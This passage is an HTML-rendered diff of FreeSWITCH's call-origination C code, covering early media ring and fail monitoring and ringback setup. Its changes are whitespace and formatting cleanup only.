</span><span class="cx">         }
</span><span class="cx">         for (i = 0; i < max; i++) {
</span><del>-                if (originate_status[i].peer_channel && switch_channel_get_state(originate_status[i].peer_channel) != CS_DESTROY &&
</del><ins>+                if (originate_status[i].peer_channel && switch_channel_get_state(originate_status[i].peer_channel) != CS_DESTROY &&
</ins><span class="cx">                         switch_channel_get_state(originate_status[i].peer_channel) != CS_REPORTING) {
</span><span class="cx">                         if (originate_status[i].per_channel_delay_start) {
</span><span class="cx">                                 delayed_channels++;
</span><span class="lines">@@ -262,16 +260,16 @@
</span><span class="cx">
</span><span class="cx">         if (active_channels == 0 && delayed_channels) {
</span><span class="cx">                 for (i = 0; i < max; i++) {
</span><del>-                        if ( originate_status[i].peer_channel && originate_status[i].per_channel_delay_start &&
-                                 (! delayed_min || delayed_min > originate_status[i].per_channel_delay_start) ) {
</del><ins>+                        if (originate_status[i].peer_channel && originate_status[i].per_channel_delay_start &&
+                                (!delayed_min || delayed_min > originate_status[i].per_channel_delay_start)) {
</ins><span class="cx">                                 delayed_min = originate_status[i].per_channel_delay_start;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 early_exit_time = delayed_min - (uint32_t) elapsed;
</span><span class="cx">         }
</span><span class="cx">         for (i = 0; i < max; i++) {
</span><del>-                if (originate_status[i].peer_channel && originate_status[i].per_channel_delay_start &&
-                        (elapsed > originate_status[i].per_channel_delay_start || active_channels == 0) ) {
</del><ins>+                if (originate_status[i].peer_channel && originate_status[i].per_channel_delay_start &&
+                        (elapsed > originate_status[i].per_channel_delay_start || active_channels == 0)) {
</ins><span class="cx">                         if (active_channels == 0) {
</span><span class="cx">                                 if (originate_status[i].per_channel_timelimit_sec) {
</span><span class="cx">                                         if (originate_status[i].per_channel_timelimit_sec > early_exit_time) {
</span><span class="lines">@@ -294,18 +292,17 @@
</span><span class="cx">                                 originate_status[i].per_channel_delay_start = 0;
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        if (! originate_status[i].per_channel_delay_start) {
</del><ins>+                        if (!originate_status[i].per_channel_delay_start) {
</ins><span class="cx">                                 switch_channel_clear_flag(originate_status[i].peer_channel, CF_BLOCK_STATE);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (originate_status[i].peer_channel && switch_channel_up(originate_status[i].peer_channel)) {
</span><span class="cx">                         if (originate_status[i].per_channel_progress_timelimit_sec && elapsed > originate_status[i].per_channel_progress_timelimit_sec &&
</span><del>-                                !(
-                                 switch_channel_test_flag(originate_status[i].peer_channel, CF_RING_READY) ||
</del><ins>+                                !(switch_channel_test_flag(originate_status[i].peer_channel, CF_RING_READY) ||
</ins><span class="cx">                                  switch_channel_test_flag(originate_status[i].peer_channel, CF_ANSWERED) ||
</span><span class="cx">                                  (!oglobals->monitor_early_media_ring && switch_channel_test_flag(originate_status[i].peer_channel, CF_EARLY_MEDIA))
</span><del>-                                 )
</del><ins>+                                )
</ins><span class="cx">                                 ) {
</span><span class="cx">                                 switch_channel_hangup(originate_status[i].peer_channel, SWITCH_CAUSE_PROGRESS_TIMEOUT);
</span><span class="cx">                                 *force_reason = SWITCH_CAUSE_PROGRESS_TIMEOUT;
</span><span class="lines">@@ -339,24 +336,24 @@
</span><span class="cx">                                 bd = "monitor_early_media_ring";
</span><span class="cx">                         }
</span><span class="cx">                         switch_channel_set_variable(channel, "originate_disposition", bd);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (oglobals) {
</span><span class="cx">                                 if (oglobals->monitor_early_media_ring_total && ++oglobals->monitor_early_media_ring_count < oglobals->monitor_early_media_ring_total) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Ring %d/%d\n",
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Ring %d/%d\n",
</ins><span class="cx">                                                                          oglobals->monitor_early_media_ring_count, oglobals->monitor_early_media_ring_total);
</span><span class="cx">                                         return SWITCH_TRUE;
</span><span class="cx">                                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                                 switch_channel_set_private(channel, "_oglobals_", NULL);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!oglobals->progress) {
</span><span class="cx">                                         oglobals->progress = 1;
</span><span class="cx">                                 }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 if (!oglobals->ring_ready && !oglobals->ignore_ring_ready) {
</span><span class="cx">                                         oglobals->ring_ready = 1;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!oglobals->ignore_early_media && !oglobals->early_ok) {
</span><span class="cx">                                         oglobals->early_ok = 1;
</span><span class="cx">                                 }
</span><span class="lines">@@ -387,18 +384,18 @@
</span><span class="cx">                         caller_channel = NULL;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         for (i = 0; i < len; i++) {
</span><span class="cx">                 switch_channel_state_t state;
</span><span class="cx">
</span><span class="cx">                 if (originate_status[i].tagged && originate_status[i].peer_session) {
</span><span class="cx">                         switch_channel_t *channel = switch_core_session_get_channel(originate_status[i].peer_session);
</span><span class="cx">                         uint32_t j;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_channel_down(channel)) {
</span><span class="cx">                                 switch_call_cause_t cause = switch_channel_get_cause(channel);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 for (j = 0; j < len; j++) {
</span><span class="cx">                                         channel = switch_core_session_get_channel(originate_status[j].peer_session);
</span><span class="cx">                                         switch_channel_hangup(channel, cause);
</span><span class="lines">@@ -408,7 +405,7 @@
</span><span class="cx">                                 goto end;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(originate_status[i].peer_channel && originate_status[i].peer_session)) {
</span><span class="cx">                         oglobals->hups++;
</span><span class="cx">                         continue;
</span><span class="lines">@@ -457,11 +454,11 @@
</span><span class="cx">                                 if (oglobals->early_ok) {
</span><span class="cx">                                         pindex = i;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (oglobals->monitor_early_media_fail) {
</span><span class="cx">                                         const char *var = switch_channel_get_variable(originate_status[i].peer_channel, "monitor_early_media_fail");
</span><span class="cx">                                         if (!zstr(var)) {
</span><del>-                                                char *fail_array[128] = {0};
</del><ins>+                                                char *fail_array[128] = { 0 };
</ins><span class="cx">                                                 int fail_count = 0;
</span><span class="cx">                                                 char *fail_data = strdup(var);
</span><span class="cx">                                                 int fx;
</span><span class="lines">@@ -469,66 +466,61 @@
</span><span class="cx">
</span><span class="cx">                                                 switch_assert(fail_data);
</span><span class="cx">                                                 fail_count = switch_separate_string(fail_data, '!', fail_array, (sizeof(fail_array) / sizeof(fail_array[0])));
</span><del>-                                        
-                                                for(fx = 0; fx < fail_count; fx++) {
</del><ins>+
+                                                for (fx = 0; fx < fail_count; fx++) {
</ins><span class="cx">                                                         char *cause = fail_array[fx];
</span><span class="cx">                                                         int hits = 2;
</span><span class="cx">                                                         char *p, *q;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                         if (!(p = strchr(cause, ':'))) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="cx">                                                         *p++ = '\0';
</span><del>-                                                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                                                         if (!p) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><del>-                                                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                                                         if (!(hits = atoi(p))) {
</span><span class="cx">                                                                 hits = 2;
</span><span class="cx">                                                         }
</span><del>-                                                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                                                         if (!(p = strchr(p, ':'))) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="cx">                                                         *p++ = '\0';
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                         if (!p) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="cx">
</span><del>-                                                        for(q = p; q && *q; q++) {
</del><ins>+                                                        for (q = p; q && *q; q++) {
</ins><span class="cx">                                                                 if (*q == '+') {
</span><span class="cx">                                                                         *q = ',';
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><span class="cx">                                                         switch_snprintf(bug_key, sizeof(bug_key), "monitor_early_media_fail_%d", ++y);
</span><del>-                                                        switch_ivr_tone_detect_session(originate_status[i].peer_session,
-                                                                                                                 bug_key,
-                                                                                                                 p, "r", 0,
-                                                                                                                 hits,
-                                                                                                                 "fail",
-                                                                                                                 cause, monitor_callback);
-                                                
</del><ins>+                                                        switch_ivr_tone_detect_session(originate_status[i].peer_session, bug_key, p, "r", 0, hits, "fail", cause, monitor_callback);
+
</ins><span class="cx">                                                 }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                                 switch_safe_free(fail_data);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (oglobals->monitor_early_media_ring) {
</span><span class="cx">                                         const char *var = switch_channel_get_variable(originate_status[i].peer_channel, "monitor_early_media_ring");
</span><span class="cx">                                         const char *var_total = switch_channel_get_variable(originate_status[i].peer_channel, "monitor_early_media_ring_total");
</span><span class="cx">                                         if (!zstr(var)) {
</span><del>-                                                char *ring_array[128] = {0};
</del><ins>+                                                char *ring_array[128] = { 0 };
</ins><span class="cx">                                                 int ring_count = 0;
</span><span class="cx">                                                 char *ring_data = strdup(var);
</span><span class="cx">                                                 int fx;
</span><span class="lines">@@ -536,11 +528,11 @@
</span><span class="cx">
</span><span class="cx">                                                 switch_assert(ring_data);
</span><span class="cx">                                                 ring_count = switch_separate_string(ring_data, '!', ring_array, (sizeof(ring_array) / sizeof(ring_array[0])));
</span><del>-                                        
-                                                for(fx = 0; fx < ring_count; fx++) {
</del><ins>+
+                                                for (fx = 0; fx < ring_count; fx++) {
</ins><span class="cx">                                                         int hits = 2;
</span><span class="cx">                                                         char *p = ring_array[fx], *q;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                         if (!p) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
</span><span class="cx">                                                                 continue;
</span><span class="lines">@@ -549,78 +541,75 @@
</span><span class="cx">                                                         if (!(hits = atoi(p))) {
</span><span class="cx">                                                                 hits = 2;
</span><span class="cx">                                                         }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                         if (!(p = strchr(p, ':'))) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="cx">                                                         *p++ = '\0';
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                         if (!p) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
</span><span class="cx">                                                                 continue;
</span><span class="cx">                                                         }
</span><span class="cx">
</span><del>-                                                        for(q = p; q && *q; q++) {
</del><ins>+                                                        for (q = p; q && *q; q++) {
</ins><span class="cx">                                                                 if (*q == '+') {
</span><span class="cx">                                                                         *q = ',';
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                         switch_channel_set_private(originate_status[i].peer_channel, "_oglobals_", oglobals);
</span><span class="cx">                                                         switch_snprintf(bug_key, sizeof(bug_key), "monitor_early_media_ring_%d", ++y);
</span><del>-                                                        switch_ivr_tone_detect_session(originate_status[i].peer_session,
-                                                                                                                 bug_key,
-                                                                                                                 p, "r", 0, hits, "ring", NULL, monitor_callback);
-                                                        
</del><ins>+                                                        switch_ivr_tone_detect_session(originate_status[i].peer_session, bug_key, p, "r", 0, hits, "ring", NULL, monitor_callback);
+
</ins><span class="cx">                                                 }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                                 if (var_total) {
</span><span class="cx">                                                         int tmp = atoi(var_total);
</span><span class="cx">                                                         if (tmp > 0 && tmp < 100) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_DEBUG,
-                                                                                                 "%s setting ring total to %d\n",
-                                                                                                 switch_channel_get_name(originate_status[i].peer_channel), tmp);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_DEBUG,
+                                                                                                 "%s setting ring total to %d\n", switch_channel_get_name(originate_status[i].peer_channel), tmp);
</ins><span class="cx">                                                                 oglobals->monitor_early_media_ring_total = tmp;
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 switch_safe_free(ring_data);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!oglobals->monitor_early_media_ring) {
</span><span class="cx">
</span><span class="cx">                                 if (!oglobals->progress) {
</span><span class="cx">                                         oglobals->progress = 1;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!oglobals->ring_ready && !oglobals->ignore_ring_ready) {
</span><span class="cx">                                         oglobals->ring_ready = 1;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_ivr_parse_all_events(originate_status[i].peer_session);
</span><span class="cx">
</span><span class="cx">                 state = switch_channel_get_state(originate_status[i].peer_channel);
</span><span class="cx">                 if (state >= CS_HANGUP || state == CS_RESET || switch_channel_test_flag(originate_status[i].peer_channel, CF_TRANSFER) ||
</span><span class="cx">                         switch_channel_test_flag(originate_status[i].peer_channel, CF_REDIRECT) ||
</span><del>-                        switch_channel_test_flag(originate_status[i].peer_channel, CF_BRIDGED) ||
</del><ins>+                        switch_channel_test_flag(originate_status[i].peer_channel, CF_BRIDGED) ||
</ins><span class="cx">                         !switch_channel_test_flag(originate_status[i].peer_channel, CF_ORIGINATING)
</span><span class="cx">                         ) {
</span><span class="cx">                         (oglobals->hups)++;
</span><span class="cx">                 } else if ((switch_channel_test_flag(originate_status[i].peer_channel, CF_ANSWERED) ||
</span><span class="cx">                                         (oglobals->early_ok && switch_channel_test_flag(originate_status[i].peer_channel, CF_EARLY_MEDIA)) ||
</span><del>-                                        (oglobals->ring_ready && oglobals->return_ring_ready && len == 1 &&
</del><ins>+                                        (oglobals->ring_ready && oglobals->return_ring_ready && len == 1 &&
</ins><span class="cx">                                          switch_channel_test_flag(originate_status[i].peer_channel, CF_RING_READY))
</span><del>-                                        )
</del><ins>+                                 )
</ins><span class="cx">                                  && !switch_channel_test_flag(originate_status[i].peer_channel, CF_TAGGED)
</span><del>-                                 ) {
-                        
</del><ins>+                        ) {
+
</ins><span class="cx">                         if (!zstr(oglobals->key)) {
</span><span class="cx">                                 struct key_collect *collect;
</span><span class="cx">
</span><span class="lines">@@ -661,7 +650,7 @@
</span><span class="cx">                 rval = 1;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (pindex > -1 && caller_channel && switch_channel_ready(caller_channel) && !switch_channel_media_ready(caller_channel)) {
</span><span class="cx">                 const char *var = switch_channel_get_variable(caller_channel, "inherit_codec");
</span><span class="lines">@@ -669,15 +658,15 @@
</span><span class="cx">                         switch_codec_implementation_t impl = { 0 };
</span><span class="cx">                         char tmp[128] = "";
</span><span class="cx">
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_core_session_get_read_impl(originate_status[pindex].peer_session, &impl) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_snprintf(tmp, sizeof(tmp), "%s@%uh@%ui", impl.iananame, impl.samples_per_second, impl.microseconds_per_packet / 1000);
</span><span class="cx">                                 switch_channel_set_variable(caller_channel, "absolute_codec_string", tmp);
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_DEBUG, "Setting codec string on %s to %s\n",
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_DEBUG, "Setting codec string on %s to %s\n",
</ins><span class="cx">                                                                  switch_channel_get_name(caller_channel), tmp);
</span><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(originate_status[pindex].peer_channel), SWITCH_LOG_WARNING,
-                                                                 "Error inheriting codec. Channel %s has no read codec yet.\n",
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(originate_status[pindex].peer_channel), SWITCH_LOG_WARNING,
+                                                                 "Error inheriting codec. Channel %s has no read codec yet.\n",
</ins><span class="cx">                                                                  switch_channel_get_name(originate_status[pindex].peer_channel));
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -685,7 +674,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (send_ringback) {
</span><del>-                oglobals->sending_ringback++;        
</del><ins>+                oglobals->sending_ringback++;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         return rval;
</span><span class="lines">@@ -737,7 +726,7 @@
</span><span class="cx">         switch_channel_state_t wait_state = 0;
</span><span class="cx">
</span><span class="cx">         switch_assert(peer_channel);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_get_state(peer_channel) == CS_RESET) {
</span><span class="cx">                 switch_channel_set_state(peer_channel, CS_SOFT_EXECUTE);
</span><span class="cx">         }
</span><span class="lines">@@ -769,7 +758,7 @@
</span><span class="cx">                 if (switch_channel_test_flag(caller_channel, CF_ANSWERED)) {
</span><span class="cx">                         ringback_data = switch_channel_get_variable(caller_channel, "transfer_ringback");
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!ringback_data) {
</span><span class="cx">                         ringback_data = switch_channel_get_variable(caller_channel, "ringback");
</span><span class="cx">                 }
</span><span class="lines">@@ -796,7 +785,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!ringback.asis) {
</span><span class="cx">                         if ((pass = (uint8_t) switch_test_flag(read_codec, SWITCH_CODEC_FLAG_PASSTHROUGH))) {
</span><span class="cx">                                 goto no_ringback;
</span><span class="lines">@@ -819,7 +808,7 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</span><span class="cx">                                                                  "Raw Codec Activation Success L16@%uhz 1 channel %dms\n",
</span><span class="cx">                                                                  read_codec->implementation->actual_samples_per_second, read_codec->implementation->microseconds_per_packet / 1000);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 write_frame.codec = &write_codec;
</span><span class="cx">                                 write_frame.datalen = read_codec->implementation->decoded_bytes_per_packet;
</span><span class="cx">                                 write_frame.samples = write_frame.datalen / 2;
</span><span class="lines">@@ -827,7 +816,7 @@
</span><span class="cx">                                 switch_core_session_set_read_codec(session, &write_codec);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_channel_test_flag(caller_channel, CF_DISABLE_RINGBACK)) {
</span><span class="cx">                         ringback_data = NULL;
</span><span class="cx">                 }
</span><span class="lines">@@ -874,7 +863,7 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_buffer_create_dynamic(&ringback.audio_buffer, 512, 1024, 0);
</span><span class="cx">                                         switch_buffer_set_loops(ringback.audio_buffer, -1);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                         teletone_init_session(&ringback.ts, 0, teletone_handler, &ringback);
</span><span class="cx">                                         ringback.ts.rate = read_codec->implementation->actual_samples_per_second;
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Play Ringback Tone [%s]\n", ringback_data);
</span><span class="lines">@@ -890,7 +879,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- no_ringback:
</del><ins>+ no_ringback:
</ins><span class="cx">
</span><span class="cx">         if (caller_channel) {
</span><span class="cx">                 wait_state = switch_channel_get_state(caller_channel);
</span><span class="lines">@@ -928,13 +917,13 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         read_frame = NULL;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (read_frame && !pass) {
</span><span class="cx">
</span><span class="cx">                         if (ringback.fh) {
</span><span class="cx">                                 switch_size_t mlen, olen;
</span><span class="cx">                                 unsigned int pos = 0;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (ringback.asis) {
</span><span class="cx">                                         mlen = write_frame.codec->implementation->encoded_bytes_per_packet;
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -978,7 +967,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         if (ringback.fh) {
</span><span class="cx">                 switch_core_file_close(ringback.fh);
</span><span class="lines">@@ -996,7 +985,7 @@
</span><span class="cx">
</span><span class="cx">         switch_safe_free(write_frame.data);
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (!switch_channel_media_ready(peer_channel)) {
</span><span class="cx">                 if (switch_channel_up(peer_channel)) {
</span><span class="lines">@@ -1004,7 +993,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (caller_channel && !switch_channel_ready(caller_channel)) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -1019,14 +1008,14 @@
</span><span class="cx">
</span><span class="cx">         switch_assert(session && peer_channel);
</span><span class="cx">         caller_channel = switch_core_session_get_channel(session);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((import = switch_channel_get_variable(caller_channel, varname))) {
</span><span class="cx">                 char *mydata = switch_core_session_strdup(session, import);
</span><span class="cx">                 int i, argc;
</span><span class="cx">                 char *argv[64] = { 0 };
</span><span class="cx">
</span><span class="cx">                 if ((argc = switch_separate_string(mydata, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><del>-                        for(i = 0; i < argc; i++) {
</del><ins>+                        for (i = 0; i < argc; i++) {
</ins><span class="cx">                                 if ((val = switch_channel_get_variable(peer_channel, argv[i]))) {
</span><span class="cx">                                         switch_channel_set_variable(caller_channel, argv[i], val);
</span><span class="cx">                                 }
</span><span class="lines">@@ -1036,11 +1025,8 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static switch_status_t setup_ringback(originate_global_t *oglobals,
-                                                                         const char *ringback_data,
-                                                                         ringback_t *ringback,
-                                                                         switch_frame_t *write_frame,
-                                                                         switch_codec_t *write_codec)
</del><ins>+static switch_status_t setup_ringback(originate_global_t *oglobals,
+                                                                         const char *ringback_data, ringback_t *ringback, switch_frame_t *write_frame, switch_codec_t *write_codec)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         switch_channel_t *caller_channel = switch_core_session_get_channel(oglobals->session);
</span><span class="lines">@@ -1050,7 +1036,7 @@
</span><span class="cx">         if (!switch_channel_test_flag(caller_channel, CF_ANSWERED)
</span><span class="cx">                 && !switch_channel_test_flag(caller_channel, CF_EARLY_MEDIA)) {
</span><span class="cx">                 if ((status = switch_channel_pre_answer(caller_channel)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_DEBUG, "%s Media Establishment Failed.\n",
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_DEBUG, "%s Media Establishment Failed.\n",
</ins><span class="cx">                                                          switch_channel_get_name(caller_channel));
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_BREAK, end);
</span><span class="cx">                 }
</span><span class="lines">@@ -1062,10 +1048,10 @@
</span><span class="cx">                                 ringback->asis++;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                 if (!ringback->asis) {
</span><span class="cx">                         if (switch_test_flag(read_codec, SWITCH_CODEC_FLAG_PASSTHROUGH)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_WARNING, "%s Ringback not supported in passthrough codec mode.\n",
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_WARNING, "%s Ringback not supported in passthrough codec mode.\n",
</ins><span class="cx">                                                                  switch_channel_get_name(caller_channel));
</span><span class="cx">                                 switch_goto_status(SWITCH_STATUS_GENERR, end);
</span><span class="cx">                         }
</span><span class="lines">@@ -1081,8 +1067,7 @@
</span><span class="cx">
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(oglobals->session), SWITCH_LOG_DEBUG,
</span><span class="cx">                                                                  "Raw Codec Activation Success L16@%uhz 1 channel %dms\n",
</span><del>-                                                                 read_codec->implementation->actual_samples_per_second,
-                                                                 read_codec->implementation->microseconds_per_packet / 1000);
</del><ins>+                                                                 read_codec->implementation->actual_samples_per_second, read_codec->implementation->microseconds_per_packet / 1000);
</ins><span class="cx">                                 write_frame->codec = write_codec;
</span><span class="cx">                                 write_frame->datalen = read_codec->implementation->decoded_bytes_per_packet;
</span><span class="cx">                                 write_frame->samples = write_frame->datalen / 2;
</span><span class="lines">@@ -1094,10 +1079,10 @@
</span><span class="cx">                                 read_codec = NULL;
</span><span class="cx">                                 switch_goto_status(SWITCH_STATUS_BREAK, end);
</span><span class="cx">                         }
</span><del>-                }        
</del><ins>+                }
</ins><span class="cx">
</span><span class="cx">                 oglobals->gen_ringback = 1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(ringback_data)) {
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_SUCCESS, end);
</span><span class="cx">                 }
</span><span class="lines">@@ -1113,7 +1098,7 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(oglobals->session), SWITCH_LOG_DEBUG, "Play Ringback File [%s]\n", ringback_data);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         ringback->fhb.channels = read_codec->implementation->number_of_channels;
</span><span class="cx">                         ringback->fhb.samplerate = read_codec->implementation->actual_samples_per_second;
</span><span class="cx">                         if (switch_core_file_open(&ringback->fhb,
</span><span class="lines">@@ -1148,7 +1133,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Play Ringback Tone [%s]\n", ringback_data);
</span><span class="cx">                         /* ringback->ts.debug = 1;
</span><span class="cx">                          ringback->ts.debug_stream = switch_core_get_console(); */
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (teletone_run(&ringback->ts, ringback_data)) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Playing Tone\n");
</span><span class="cx">                                 teletone_destroy_session(&ringback->ts);
</span><span class="lines">@@ -1157,13 +1142,13 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-                        
- end:
</del><span class="cx">
</span><ins>+ end:
+
</ins><span class="cx">         switch_safe_free(tmp_data);
</span><span class="cx">
</span><span class="cx">         return status;
</span><del>-
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -1179,7 +1164,7 @@
</span><span class="cx">         const switch_state_handler_table_t *table;
</span><span class="cx">         const char *cid_name_override;
</span><span class="cx">         const char *cid_num_override;
</span><del>-        switch_caller_profile_t *caller_profile_override;
</del><ins>+        switch_caller_profile_t *caller_profile_override;
</ins><span class="cx">         switch_event_t *ovars;
</span><span class="cx">         switch_originate_flag_t flags;
</span><span class="cx">         switch_status_t status;
</span><span class="lines">@@ -1199,24 +1184,19 @@
</span><span class="cx"> static void *SWITCH_THREAD_FUNC enterprise_originate_thread(switch_thread_t *thread, void *obj)
</span><span class="cx"> {
</span><span class="cx">         enterprise_originate_handle_t *handle = (enterprise_originate_handle_t *) obj;
</span><del>-        
</del><ins>+
</ins><span class="cx">         handle->done = 0;
